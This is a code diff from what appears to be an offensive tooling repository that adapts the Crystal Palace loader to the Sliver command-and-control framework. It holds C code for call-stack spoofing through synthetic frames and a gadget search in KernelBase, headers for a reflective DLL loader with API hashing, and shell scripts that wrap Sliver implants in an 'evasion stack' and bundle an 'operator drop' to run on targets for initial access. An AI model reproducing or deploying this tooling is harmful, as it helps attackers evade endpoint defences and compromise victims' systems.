void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
{
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
frame->Frame1.ModuleAddress = frame1_module;
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
frame->Frame1.Offset = 0x17;
frame->Frame2.ModuleAddress = frame2_module;
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
{
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
return FALSE;
}
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
return FALSE;
}
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
{
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
if ( h == TEXT_HASH )
{
*virtual_address = section_header[ i ].VirtualAddress;
*size = section_header[ i ].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
{
UNWIND_INFO * unwind_info = NULL;
ULONG unwind_operation = 0;
ULONG operation_info = 0;
ULONG index = 0;
ULONG frame_offset = 0;
STACK_FRAME stack_frame = { 0 };
if ( ! runtime_function ) {
return NULL;
}
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
while ( index < unwind_info->CountOfCodes )
{
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
/* don't use switch as it produces jump tables */
if ( unwind_operation == UWOP_PUSH_NONVOL )
{
stack_frame.TotalStackSize += 8;
if ( operation_info == RBP_OP_INFO )
{
stack_frame.PushRbp = TRUE;
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
stack_frame.PushRbpIndex = index + 1;
}
}
else if ( unwind_operation == UWOP_SAVE_NONVOL )
{
index += 1;
}
else if ( unwind_operation == UWOP_ALLOC_SMALL )
{
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
}
else if ( unwind_operation == UWOP_ALLOC_LARGE )
{
index += 1;
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
if (operation_info == 0)
{
frame_offset *= 8;
}
else
{
index += 1;
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
}
stack_frame.TotalStackSize += frame_offset;
}
else if ( unwind_operation == UWOP_SET_FPREG )
{
stack_frame.SetsFramePointer = TRUE;
}
else if ( unwind_operation == UWOP_SAVE_XMM128 )
{
return NULL;
}
index += 1;
}
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
{
index = unwind_info->CountOfCodes;
if ( 0 != ( index & 1 ) )
{
index += 1;
}
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
return calculate_function_stack_size ( runtime_function, image_base );
}
stack_frame.TotalStackSize += 8;
return ( PVOID ) ( stack_frame.TotalStackSize );
}
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
{
RUNTIME_FUNCTION * runtime_function = NULL;
DWORD64 image_base = 0;
PUNWIND_HISTORY_TABLE history_table = NULL;
if ( ! return_address ) {
return NULL;
}
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
if ( NULL == runtime_function ) {
return NULL;
}
return calculate_function_stack_size ( runtime_function, image_base );
}
PVOID find_gadget( PVOID module )
{
BOOL found_gadgets = FALSE;
DWORD text_section_size = 0;
DWORD text_section_va = 0;
DWORD counter = 0;
ULONG seed = 0;
ULONG random = 0;
PVOID module_text_section = NULL;
PVOID gadget_list [ 15 ] = { 0 };
if ( ! found_gadgets )
{
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
return NULL;
}
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
{
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
}
found_gadgets = TRUE;
}
seed = 0x1337;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
return gadget_list [ random ];
}
ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
{
int attempts = 0;
PVOID return_address = NULL;
DRAUGR_PARAMETERS draugr_params = { 0 };
SYNTHETIC_STACK_FRAME frame;
init_frame_info ( &frame );
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.RtlUserThreadStartReturnAddress = return_address;
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
do
{
draugr_params.Trampoline = find_gadget ( frame.Gadget );
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
attempts++;
if ( attempts > 15 ) {
return ( ULONG_PTR ) ( NULL );
}
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
return ( ULONG_PTR ) ( NULL );
}
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
}
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
{
/* very inelegant */
if ( call->argc == 0 ) {
return draugr_wrapper ( call->ptr, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 1 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 2 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 3 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 4 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 5 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 6 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 7 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 8 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
} else if ( call->argc == 9 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
} else if ( call->argc == 10 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
} else if ( call->argc == 11 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
} else if ( call->argc == 12 ) {
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
} else {
return ( ULONG_PTR ) ( NULL );
}
}
@@ -0,0 +1,9 @@
#define spoof_arg(x) ( ULONG_PTR ) ( x )
typedef struct {
PVOID ptr;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL;
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
+102
View File
@@ -0,0 +1,102 @@
/*
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// used by both the Pico Loader and DLL loader
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
FARPROC __resolve_hook(DWORD funcHash);
/*
* Structs used by our DLL loader
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* utility functions
*/
DWORD adler32sum(unsigned char * buffer, DWORD length);
DWORD ror13hash(const char * c);
/*
* printf-style debugging.
*/
void dprintf(char * format, ...);
/*
* PICO running functions
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
HANDLE findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
*/
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
void LoadDLL(DLLDATA * dll, char * src, char * dst);
void LoadSections(DLLDATA * dll, char * src, char * dst);
void ParseDLL(char * src, DLLDATA * data);
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
DWORD SizeOfDLL(DLLDATA * data);
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
+34
View File
@@ -0,0 +1,34 @@
SHELL := /bin/bash
REPO_ROOT := $(abspath ..)
LOADER_DIR := $(REPO_ROOT)/loader
POSTEX_DIR := $(REPO_ROOT)/postex-loader
BUILD_DIR := build
.PHONY: all objects clean help
help:
@echo "Targets:"
@echo " objects Build all .o/.bin objects under loader/ and postex-loader/"
@echo " package Package crystal-loader.x64.dll + extension.json as a tarball"
@echo " (requires crystal-loader.x64.dll to be present, see step 6)"
@echo " clean Remove build artefacts"
@echo ""
@echo "Scripts:"
@echo " ./generate.sh <input.dll> [args-file] [output.bin]"
@echo " ./generate-implant.sh <profile-name> [output.bin]"
@echo " ./pack-extension.sh [output.tar.gz]"
@echo ""
@echo "Required env: CRYSTAL_PALACE_HOME (dir with crystalpalace.jar)"
objects:
$(MAKE) -C $(LOADER_DIR) all
$(MAKE) -C $(POSTEX_DIR) all
package:
@./pack-extension.sh $(BUILD_DIR)/crystal-loader-0.1.0.tar.gz
clean:
$(MAKE) -C $(LOADER_DIR) clean
$(MAKE) -C $(POSTEX_DIR) clean
rm -rf $(BUILD_DIR)
+62
View File
@@ -0,0 +1,62 @@
#!/usr/bin/env bash
#
# bundle-implant.sh — package a Crystal-wrapped Sliver implant PICO together
# with the Crystal Palace 'run.x64.exe' stager into a single operator drop.
#
# Use case A (primary): initial-access evasion. The operator delivers BOTH
# files to the target and executes:
# run.x64.exe <implant>.bin
# This invokes the Crystal Palace loader, which unmasks the Sliver implant
# DLL in memory and runs it under the evasion stack.
#
# Required env:
# CRYSTAL_PALACE_HOME Crystal Palace dist/ dir (provides run.x64.exe)
#
# Usage:
# ./bundle-implant.sh <implant.bin> [output.zip]
set -euo pipefail
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}"
IMPLANT_BIN="${1:?Usage: bundle-implant.sh <implant.bin> [output.zip]}"
OUTPUT="${2:-./build/crystal-implant-drop.zip}"
if [[ ! -f "$IMPLANT_BIN" ]]; then
echo "error: PICO not found: $IMPLANT_BIN" >&2
exit 2
fi
STAGER="$CRYSTAL_PALACE_HOME/demo/run.x64.exe"
if [[ ! -f "$STAGER" ]]; then
echo "error: run.x64.exe not found at $STAGER" >&2
echo " It ships with the Crystal Palace distribution (demo/ folder)." >&2
exit 2
fi
BUILD_DIR="$(dirname "$OUTPUT")"
mkdir -p "$BUILD_DIR"
STAGE="$(mktemp -d)"
trap 'rm -rf "$STAGE"' EXIT
cp "$STAGER" "$STAGE/run.x64.exe"
cp "$IMPLANT_BIN" "$STAGE/$(basename "$IMPLANT_BIN")"
cat > "$STAGE/README.txt" <<EOF
Crystal-wrapped Sliver implant — operator drop bundle.
Files:
run.x64.exe Crystal Palace stager (BSD-3-Clause, (c) 2025 Raphael Mudge)
$(basename "$IMPLANT_BIN") PICO blob containing the Sliver implant + Crystal Palace evasion
Execute on target (Windows x64):
run.x64.exe $(basename "$IMPLANT_BIN")
EOF
( cd "$STAGE" && zip -q -r "$OUTPUT" . )
OUTPUT_ABS="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")"
echo "[+] Operator drop bundle ready: $OUTPUT_ABS"
echo " Contents:"
unzip -l "$OUTPUT_ABS"
@@ -0,0 +1,25 @@
{
"name": "crystal-loader",
"command_name": "crystal",
"version": "0.1.0",
"extension_author": "Simone Licitra",
"original_author": "rasta-mouse, nickswink, TrustedSec (BOF compat)",
"repo_url": "https://github.com/licitrasimone/crystal-kit-sliver",
"help": "Run a Crystal Palace PICO-wrapped post-ex DLL inside a Sliver implant",
"entrypoint": "go",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "crystal-loader.x64.dll"
}
],
"arguments": [
{
"name": "payload",
"desc": "Path on operator host to a Crystal Palace PICO .bin produced by generate.sh — Sliver client reads it and forwards bytes to the implant",
"type": "file",
"optional": false
}
]
}
+100
View File
@@ -0,0 +1,100 @@
#!/usr/bin/env bash
#
# generate-implant.sh — wrap a Sliver implant DLL through Crystal Palace's main
# loader. Produces a hardened PICO that can be delivered as initial access.
#
# This is the PRIMARY use case of crystal-kit-sliver:
# replace Sliver's default reflective loader with Crystal Palace's
# evasion stack (mask + spoof + IAT hooks + ror13 API resolution).
#
# Required env:
# CRYSTAL_PALACE_HOME Crystal Palace dist/ dir (with crystalpalace.jar + link)
# SLIVER_SERVER Path to sliver-server binary (only for --profile mode)
#
# Modes:
# ./generate-implant.sh --profile <profile-name> [output.bin]
# Generates a fresh implant DLL via sliver-server then wraps it.
#
# ./generate-implant.sh --dll <path-to-dll> [output.bin]
# Wraps an existing DLL (useful for testing without Sliver, or for
# wrapping any third-party Windows DLL meant to be position-independent).
#
# Verified CLI of the underlying linker:
# ./link <loader.spec> <file.dll|file.o> <out.bin> [%KEY=value]
set -euo pipefail
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}"
usage() {
cat <<EOF
Usage:
$0 --profile <sliver-profile-name> [output.bin]
$0 --dll <path-to-dll> [output.bin]
EOF
exit 2
}
MODE=""
ARG=""
OUTPUT="./build/crystal-implant.x64.bin"
if [[ $# -lt 2 ]]; then usage; fi
case "$1" in
--profile) MODE="profile"; ARG="$2";;
--dll) MODE="dll"; ARG="$2";;
*) usage;;
esac
[[ $# -ge 3 ]] && OUTPUT="$3"
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
LOADER_DIR="$REPO_ROOT/loader"
BUILD_DIR="$(dirname "$OUTPUT")"
mkdir -p "$BUILD_DIR"
OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")"
if [[ "$MODE" == "profile" ]]; then
: "${SLIVER_SERVER:=sliver-server}"
IMPLANT_DLL="$(cd "$BUILD_DIR" && pwd)/${ARG}.dll"
echo "[*] Generating Sliver implant DLL from profile: $ARG"
"$SLIVER_SERVER" generate \
--profile "$ARG" \
--format shared \
--os windows --arch amd64 \
--save "$IMPLANT_DLL"
else
IMPLANT_DLL="$(cd "$(dirname "$ARG")" && pwd)/$(basename "$ARG")"
if [[ ! -f "$IMPLANT_DLL" ]]; then
echo "error: DLL not found: $IMPLANT_DLL" >&2
exit 2
fi
echo "[*] Using pre-built DLL: $IMPLANT_DLL"
fi
if [[ ! -x "$CRYSTAL_PALACE_HOME/link" ]]; then
echo "error: 'link' wrapper not executable at $CRYSTAL_PALACE_HOME/link" >&2
exit 2
fi
if [[ ! -f "$REPO_ROOT/libtcg.x64.zip" ]]; then
echo "error: libtcg.x64.zip missing at $REPO_ROOT/libtcg.x64.zip" >&2
exit 2
fi
echo "[*] Building loader objects"
make -C "$LOADER_DIR" all
echo "[*] Running Crystal Palace linker on loader/loader.spec"
cd "$LOADER_DIR"
"$CRYSTAL_PALACE_HOME/link" \
loader.spec \
"$IMPLANT_DLL" \
"$OUTPUT"
echo "[+] Crystal-wrapped implant PICO at: $OUTPUT"
echo "[i] Deliver this PICO together with a stager (e.g. run.x64.exe from the"
echo " Crystal Palace demo/) to the target. Execute on target with:"
echo " run.x64.exe $(basename "$OUTPUT")"
+73
View File
@@ -0,0 +1,73 @@
#!/usr/bin/env bash
#
# generate.sh — wrap a post-ex DLL through Crystal Palace into a PICO .bin
#
# Required env:
# CRYSTAL_PALACE_HOME directory containing crystalpalace.jar AND the 'link' wrapper
#
# Usage:
# ./generate.sh <input.dll> [args-file] [output.bin]
#
# Defaults:
# args-file → empty file
# output.bin → ./build/crystal-postex.x64.bin
#
# Verified CLI:
# ./link <loader.spec> <file.dll|file.o> <out.bin> [A=hex] [%B=val] [@config.spec]
set -euo pipefail
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir (contains crystalpalace.jar + link script)}"
INPUT_DLL="${1:?Usage: generate.sh <input.dll> [args-file] [output.bin]}"
ARGS_FILE="${2:-}"
OUTPUT="${3:-./build/crystal-postex.x64.bin}"
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
POSTEX_DIR="$REPO_ROOT/postex-loader"
BUILD_DIR="$(dirname "$OUTPUT")"
mkdir -p "$BUILD_DIR"
# Resolve OUTPUT to absolute path BEFORE we cd into postex-loader
OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")"
if [[ -z "$ARGS_FILE" ]]; then
ARGS_FILE="$BUILD_DIR/empty.args"
: > "$ARGS_FILE"
fi
ARGS_FILE_ABS="$(cd "$(dirname "$ARGS_FILE")" && pwd)/$(basename "$ARGS_FILE")"
INPUT_DLL_ABS="$(cd "$(dirname "$INPUT_DLL")" && pwd)/$(basename "$INPUT_DLL")"
if [[ ! -f "$INPUT_DLL_ABS" ]]; then
echo "error: input DLL not found: $INPUT_DLL" >&2
exit 2
fi
if [[ ! -x "$CRYSTAL_PALACE_HOME/link" ]]; then
echo "error: 'link' wrapper not found or not executable at $CRYSTAL_PALACE_HOME/link" >&2
exit 2
fi
if [[ ! -f "$REPO_ROOT/libtcg.x64.zip" ]]; then
echo "error: libtcg.x64.zip missing at $REPO_ROOT/libtcg.x64.zip" >&2
echo " Copy it from the upstream Crystal-Kit repo. See docs/TOOLCHAIN.md." >&2
exit 2
fi
echo "[*] Building postex-loader objects"
make -C "$POSTEX_DIR" all
echo "[*] Running Crystal Palace linker (./link) on postex-loader/loader.spec"
# Spec references 'bin/*.o' and '../libtcg.x64.zip' relative to its own dir,
# so we cd into postex-loader before invoking link.
cd "$POSTEX_DIR"
"$CRYSTAL_PALACE_HOME/link" \
loader.spec \
"$INPUT_DLL_ABS" \
"$OUTPUT" \
%ARGFILE="$ARGS_FILE_ABS"
echo "[+] Crystal-wrapped PICO at: $OUTPUT"
echo "[i] Next: feed this .bin to the crystal-loader Sliver Extension via 'crystal payload=$OUTPUT'"
+41
View File
@@ -0,0 +1,41 @@
#!/usr/bin/env bash
#
# pack-extension.sh — package the crystal-loader Sliver Extension as a tarball
# installable via 'extensions install' in the Sliver client.
#
# Usage:
# ./pack-extension.sh [output.tar.gz]
#
# Expects crystal-loader.x64.dll (the runtime DLL wrapper around the PICO loader)
# to be present in this directory. That DLL is the step-6 deliverable and is NOT
# produced by generate.sh — generate.sh produces the PICO .bin that the wrapper
# consumes at runtime.
set -euo pipefail
OUTPUT="${1:-./build/crystal-loader-0.1.0.tar.gz}"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
BUILD_DIR="$(dirname "$OUTPUT")"
mkdir -p "$BUILD_DIR"
DLL="$SCRIPT_DIR/crystal-loader.x64.dll"
MANIFEST="$SCRIPT_DIR/extension.json"
if [[ ! -f "$DLL" ]]; then
echo "error: $DLL not found." >&2
echo " The DLL wrapper around the PICO loader is a step-6 deliverable." >&2
echo " See docs/PORTING_MAP.md §7 point 1 for context." >&2
exit 2
fi
if [[ ! -f "$MANIFEST" ]]; then
echo "error: $MANIFEST not found." >&2
exit 2
fi
echo "[*] Creating Sliver Extension tarball: $OUTPUT"
tar -C "$SCRIPT_DIR" -czf "$OUTPUT" extension.json crystal-loader.x64.dll
echo "[+] Done. Install on Sliver client with:"
echo " extensions install $OUTPUT"
@@ -0,0 +1,23 @@
CC_64 := x86_64-w64-mingw32-gcc
CFLAGS := -Wall -Os -DBUILD_DLL
LDFLAGS := -shared -Wl,--subsystem,windows
TARGET := crystal-loader.x64.dll
SRCS := crystal-loader.c beacon_compatibility.c
OUTDIR := ../
.PHONY: all clean smoketest
all: $(OUTDIR)$(TARGET)
$(OUTDIR)$(TARGET): $(SRCS)
$(CC_64) $(CFLAGS) $(SRCS) -o $(OUTDIR)$(TARGET) $(LDFLAGS)
smoketest: $(OUTDIR)build/smoketest.bin
$(OUTDIR)build/smoketest.bin: smoketest.asm
mkdir -p $(OUTDIR)build
nasm -f bin smoketest.asm -o $(OUTDIR)build/smoketest.bin
clean:
rm -f $(OUTDIR)$(TARGET) $(OUTDIR)build/smoketest.bin
@@ -0,0 +1,61 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Cobalt Strike 4.1.
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_ERROR 0x0d
#define CALLBACK_OUTPUT_UTF8 0x20
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
